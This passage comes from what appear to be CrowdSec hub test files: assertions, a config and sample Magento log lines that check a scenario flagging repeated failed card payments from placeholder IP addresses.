results[0].Overflow.Sources["1.2.3.13"].IP == "1.2.3.13" results[0].Overflow.Sources["1.2.3.13"].Range == "1.2.3.0/24" results[0].Overflow.Sources["1.2.3.13"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.13"].GetValue() == "1.2.3.13" "1.2.3.14" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.14"].IP == "1.2.3.14" results[0].Overflow.Sources["1.2.3.14"].Range == "1.2.3.0/24" results[0].Overflow.Sources["1.2.3.14"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.14"].GetValue() == "1.2.3.14" "1.2.3.5" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.5"].IP == "1.2.3.5" results[0].Overflow.Sources["1.2.3.5"].Range == "1.2.3.0/24" results[0].Overflow.Sources["1.2.3.5"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.5"].GetValue() == "1.2.3.5" "1.2.3.6" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.6"].IP == "1.2.3.6" results[0].Overflow.Sources["1.2.3.6"].Range == "1.2.3.0/24" results[0].Overflow.Sources["1.2.3.6"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.6"].GetValue() == "1.2.3.6" "1.2.3.7" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.7"].IP == "1.2.3.7" results[0].Overflow.Sources["1.2.3.7"].Range == "1.2.3.0/24" results[0].Overflow.Sources["1.2.3.7"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.7"].GetValue() == "1.2.3.7" "1.2.3.12" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.12"].IP == "1.2.3.12" results[0].Overflow.Sources["1.2.3.12"].Range == "1.2.3.0/24" results[0].Overflow.Sources["1.2.3.12"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.12"].GetValue() == "1.2.3.12" "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "1.2.3.0/24" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" "1.2.3.8" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.8"].IP == "1.2.3.8" results[0].Overflow.Sources["1.2.3.8"].Range == "1.2.3.0/24" results[0].Overflow.Sources["1.2.3.8"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.8"].GetValue() == "1.2.3.8" "1.2.3.11" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.11"].IP == "1.2.3.11" results[0].Overflow.Sources["1.2.3.11"].Range == "1.2.3.0/24" results[0].Overflow.Sources["1.2.3.11"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.11"].GetValue() == "1.2.3.11" results[0].Overflow.Alert.Events[0].GetMeta("ASNNumber") == "4242" results[0].Overflow.Alert.Events[0].GetMeta("ASNOrg") == "Crowdsec" results[0].Overflow.Alert.Events[0].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[0].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[0].GetMeta("SourceRange") == "1.2.3.0/24" results[0].Overflow.Alert.Events[0].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "magento-ccs-by-country.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[0].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[0].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-11T14:44:40Z" results[0].Overflow.Alert.Events[1].GetMeta("ASNNumber") == "4242" results[0].Overflow.Alert.Events[1].GetMeta("ASNOrg") == "Crowdsec" results[0].Overflow.Alert.Events[1].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[1].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[1].GetMeta("SourceRange") == "1.2.3.0/24" results[0].Overflow.Alert.Events[1].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "magento-ccs-by-country.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[1].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[1].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-11T14:44:40Z" results[0].Overflow.Alert.Events[2].GetMeta("ASNNumber") == "4242" results[0].Overflow.Alert.Events[2].GetMeta("ASNOrg") == "Crowdsec" results[0].Overflow.Alert.Events[2].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[2].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[2].GetMeta("SourceRange") == "1.2.3.0/24" results[0].Overflow.Alert.Events[2].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "magento-ccs-by-country.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[2].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[2].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.6" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-11T14:44:41Z" results[0].Overflow.Alert.Events[3].GetMeta("ASNNumber") == "4242" results[0].Overflow.Alert.Events[3].GetMeta("ASNOrg") == "Crowdsec" results[0].Overflow.Alert.Events[3].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[3].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[3].GetMeta("SourceRange") == "1.2.3.0/24" results[0].Overflow.Alert.Events[3].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "magento-ccs-by-country.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[3].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[3].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.7" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-11T14:44:42Z" results[0].Overflow.Alert.Events[4].GetMeta("ASNNumber") == "4242" results[0].Overflow.Alert.Events[4].GetMeta("ASNOrg") == "Crowdsec" results[0].Overflow.Alert.Events[4].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[4].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[4].GetMeta("SourceRange") == "1.2.3.0/24" results[0].Overflow.Alert.Events[4].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "magento-ccs-by-country.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[4].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[4].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.8" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-11T14:44:43Z" results[0].Overflow.Alert.Events[5].GetMeta("ASNNumber") == "4242" results[0].Overflow.Alert.Events[5].GetMeta("ASNOrg") == "Crowdsec" results[0].Overflow.Alert.Events[5].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[5].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[5].GetMeta("SourceRange") == "1.2.3.0/24" results[0].Overflow.Alert.Events[5].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "magento-ccs-by-country.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[5].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[5].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.9" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-11T14:44:44Z" results[0].Overflow.Alert.Events[6].GetMeta("ASNNumber") == "4242" results[0].Overflow.Alert.Events[6].GetMeta("ASNOrg") == "Crowdsec" results[0].Overflow.Alert.Events[6].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[6].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[6].GetMeta("SourceRange") == "1.2.3.0/24" results[0].Overflow.Alert.Events[6].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[6].GetMeta("datasource_path") == "magento-ccs-by-country.log" results[0].Overflow.Alert.Events[6].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[6].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[6].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[6].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[6].GetMeta("source_ip") == "1.2.3.10" results[0].Overflow.Alert.Events[6].GetMeta("timestamp") == "2022-02-11T14:44:45Z" results[0].Overflow.Alert.Events[7].GetMeta("ASNNumber") == "4242" results[0].Overflow.Alert.Events[7].GetMeta("ASNOrg") == "Crowdsec" results[0].Overflow.Alert.Events[7].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[7].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[7].GetMeta("SourceRange") == "1.2.3.0/24" results[0].Overflow.Alert.Events[7].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[7].GetMeta("datasource_path") == "magento-ccs-by-country.log" results[0].Overflow.Alert.Events[7].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[7].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[7].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[7].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[7].GetMeta("source_ip") == "1.2.3.11" results[0].Overflow.Alert.Events[7].GetMeta("timestamp") == "2022-02-11T14:44:45Z" results[0].Overflow.Alert.Events[8].GetMeta("ASNNumber") == "4242" results[0].Overflow.Alert.Events[8].GetMeta("ASNOrg") == "Crowdsec" results[0].Overflow.Alert.Events[8].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[8].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[8].GetMeta("SourceRange") == "1.2.3.0/24" results[0].Overflow.Alert.Events[8].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[8].GetMeta("datasource_path") == "magento-ccs-by-country.log" results[0].Overflow.Alert.Events[8].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[8].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[8].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[8].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[8].GetMeta("source_ip") == "1.2.3.12" results[0].Overflow.Alert.Events[8].GetMeta("timestamp") == "2022-02-11T14:44:47Z" results[0].Overflow.Alert.Events[9].GetMeta("ASNNumber") == "4242" results[0].Overflow.Alert.Events[9].GetMeta("ASNOrg") == "Crowdsec" results[0].Overflow.Alert.Events[9].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[9].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[9].GetMeta("SourceRange") == "1.2.3.0/24" results[0].Overflow.Alert.Events[9].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[9].GetMeta("datasource_path") == "magento-ccs-by-country.log" results[0].Overflow.Alert.Events[9].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[9].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[9].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[9].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[9].GetMeta("source_ip") == "1.2.3.13" results[0].Overflow.Alert.Events[9].GetMeta("timestamp") == "2022-02-11T14:44:49Z" results[0].Overflow.Alert.Events[10].GetMeta("ASNNumber") == "4242" results[0].Overflow.Alert.Events[10].GetMeta("ASNOrg") == "Crowdsec" results[0].Overflow.Alert.Events[10].GetMeta("IsInEU") == "true" results[0].Overflow.Alert.Events[10].GetMeta("IsoCode") == "FR" results[0].Overflow.Alert.Events[10].GetMeta("SourceRange") == "1.2.3.0/24" results[0].Overflow.Alert.Events[10].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[10].GetMeta("datasource_path") == "magento-ccs-by-country.log" results[0].Overflow.Alert.Events[10].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[10].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[10].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[10].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[10].GetMeta("source_ip") == "1.2.3.14" results[0].Overflow.Alert.Events[10].GetMeta("timestamp") == "2022-02-11T14:44:49Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-magento-ccs-by-country" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 11hub1/.tests/magento-ccs/000077500000000000000000000000001437532772500153545ustar00rootroot00000000000000hub1/.tests/magento-ccs/config.yaml000066400000000000000000000004311437532772500175030ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/magento-extension-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/http-magento-ccs.yaml log_file: magento-ccs.log log_type: magento-extension labels: {} ignore_parsers: true hub1/.tests/magento-ccs/magento-ccs.log000066400000000000000000000014101437532772500202530ustar00rootroot00000000000000[2022-02-11 14:44:34] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:40] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:45] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] [2022-02-11 14:44:53] crowdsec-events.INFO: {"type":"PAYMENT_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","payment_method":"braintree"} [] hub1/.tests/magento-ccs/parser.assert000066400000000000000000000000001437532772500200610ustar00rootroot00000000000000hub1/.tests/magento-ccs/scenario.assert000066400000000000000000000056501437532772500204100ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "magento-ccs.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[0].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[0].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-11T14:44:34Z" results[0].Overflow.Alert.Events[1].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "magento-ccs.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[1].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[1].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-11T14:44:40Z" results[0].Overflow.Alert.Events[2].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "magento-ccs.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[2].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[2].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-11T14:44:45Z" results[0].Overflow.Alert.Events[3].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "magento-ccs.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "PAYMENT_FAILED" results[0].Overflow.Alert.Events[3].GetMeta("payment_method") == "braintree" results[0].Overflow.Alert.Events[3].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-11T14:44:53Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-magento-ccs" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 4hub1/.tests/magento-extension-logs/000077500000000000000000000000001437532772500175625ustar00rootroot00000000000000hub1/.tests/magento-extension-logs/config.yaml000066400000000000000000000004141437532772500217120ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/magento-extension-logs.yaml scenarios: - "" postoverflows: - "" log_file: magento-extension-logs.log log_type: magento-extension labels: {} ignore_parsers: false hub1/.tests/magento-extension-logs/magento-extension-logs.log000066400000000000000000000013741437532772500247000ustar00rootroot00000000000000[2022-01-28 13:13:07] crowdsec-events.INFO: {"type":"CUSTOMER_REGISTER_SUCCESS","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","customer_id":"202"} [] [2022-01-28 13:13:07] crowdsec-events.INFO: {"type":"CUSTOMER_LOGIN_SUCCESS","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","customer_id":"202"} [] [2022-02-11 13:41:28] crowdsec-events.INFO: {"type":"ADMIN_LOGIN_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0"} [] [2022-01-21 16:12:27] crowdsec-events.INFO: {"type":"ADD_TO_CART_SUCCESS","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0","product_id":"151","quote_id":"95"} [] hub1/.tests/magento-extension-logs/parser.assert000066400000000000000000000404521437532772500223060ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 4 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "[2022-01-28 13:13:07] crowdsec-events.INFO: {\"type\":\"CUSTOMER_REGISTER_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"customer_id\":\"202\"} []" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "magento-extension" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "magento-extension-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "[2022-01-28 13:13:07] crowdsec-events.INFO: {\"type\":\"CUSTOMER_LOGIN_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"customer_id\":\"202\"} []" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "magento-extension" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "magento-extension-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "[2022-02-11 13:41:28] crowdsec-events.INFO: {\"type\":\"ADMIN_LOGIN_FAILED\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\"} []" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "magento-extension" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "magento-extension-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "[2022-01-21 16:12:27] crowdsec-events.INFO: {\"type\":\"ADD_TO_CART_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"product_id\":\"151\",\"quote_id\":\"95\"} []" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "magento-extension" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "magento-extension-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 4 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false len(results["s01-parse"]["crowdsecurity/magento-extension-logs"]) == 4 results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Success == true results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Evt.Parsed["line"] == "{\"type\":\"CUSTOMER_REGISTER_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"customer_id\":\"202\"}" results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Evt.Parsed["message"] == "[2022-01-28 13:13:07] crowdsec-events.INFO: {\"type\":\"CUSTOMER_REGISTER_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"customer_id\":\"202\"} []" results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Evt.Parsed["program"] == "magento-extension" results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Evt.Parsed["timestamp"] == "2022-01-28 13:13:07" results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Evt.Meta["bouncer_agent"] == "Magento 2 CrowdSec Bouncer/v1.0.0" results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Evt.Meta["customer_id"] == "202" results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Evt.Meta["datasource_path"] == "magento-extension-logs.log" results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Evt.Meta["log_type"] == "CUSTOMER_REGISTER_SUCCESS" results["s01-parse"]["crowdsecurity/magento-extension-logs"][0].Evt.Meta["service"] == "magento" results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Success == true results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Evt.Parsed["line"] == "{\"type\":\"CUSTOMER_LOGIN_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"customer_id\":\"202\"}" results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Evt.Parsed["message"] == "[2022-01-28 13:13:07] crowdsec-events.INFO: {\"type\":\"CUSTOMER_LOGIN_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\",\"customer_id\":\"202\"} []" results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Evt.Parsed["program"] == "magento-extension" results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Evt.Parsed["timestamp"] == "2022-01-28 13:13:07" results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Evt.Meta["log_type"] == "CUSTOMER_LOGIN_SUCCESS" results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Evt.Meta["service"] == "magento" results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Evt.Meta["bouncer_agent"] == "Magento 2 CrowdSec Bouncer/v1.0.0" results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Evt.Meta["customer_id"] == "202" results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Evt.Meta["datasource_path"] == "magento-extension-logs.log" results["s01-parse"]["crowdsecurity/magento-extension-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/magento-extension-logs"][2].Success == true results["s01-parse"]["crowdsecurity/magento-extension-logs"][2].Evt.Parsed["line"] == "{\"type\":\"ADMIN_LOGIN_FAILED\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\"}" results["s01-parse"]["crowdsecurity/magento-extension-logs"][2].Evt.Parsed["message"] == "[2022-02-11 13:41:28] crowdsec-events.INFO: {\"type\":\"ADMIN_LOGIN_FAILED\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec Bouncer/v1.0.0\"} []" results["s01-parse"]["crowdsecurity/magento-extension-logs"][2].Evt.Parsed["program"] == "magento-extension" results["s01-parse"]["crowdsecurity/magento-extension-logs"][2].Evt.Parsed["timestamp"] == "2022-02-11 13:41:28" results["s01-parse"]["crowdsecurity/magento-extension-logs"][2].Evt.Meta["datasource_path"] == "magento-extension-logs.log" results["s01-parse"]["crowdsecurity/magento-extension-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/magento-extension-logs"][2].Evt.Meta["log_type"] == "ADMIN_LOGIN_FAILED" results["s01-parse"]["crowdsecurity/magento-extension-logs"][2].Evt.Meta["service"] == "magento" results["s01-parse"]["crowdsecurity/magento-extension-logs"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/magento-extension-logs"][2].Evt.Meta["bouncer_agent"] == "Magento 2 CrowdSec Bouncer/v1.0.0" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Success == true results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Parsed["timestamp"] == "2022-01-21 16:12:27" results["s01-parse"]["crowdsecurity/magento-extension-logs"][3].Evt.Parsed["line"] == "{\"type\":\"ADD_TO_CART_SUCCESS\",\"ip\":\"1.2.3.4\",\"x-forwarded-for-ip\":\"\",\"bouncer_agent\":\"Magento 2 CrowdSec 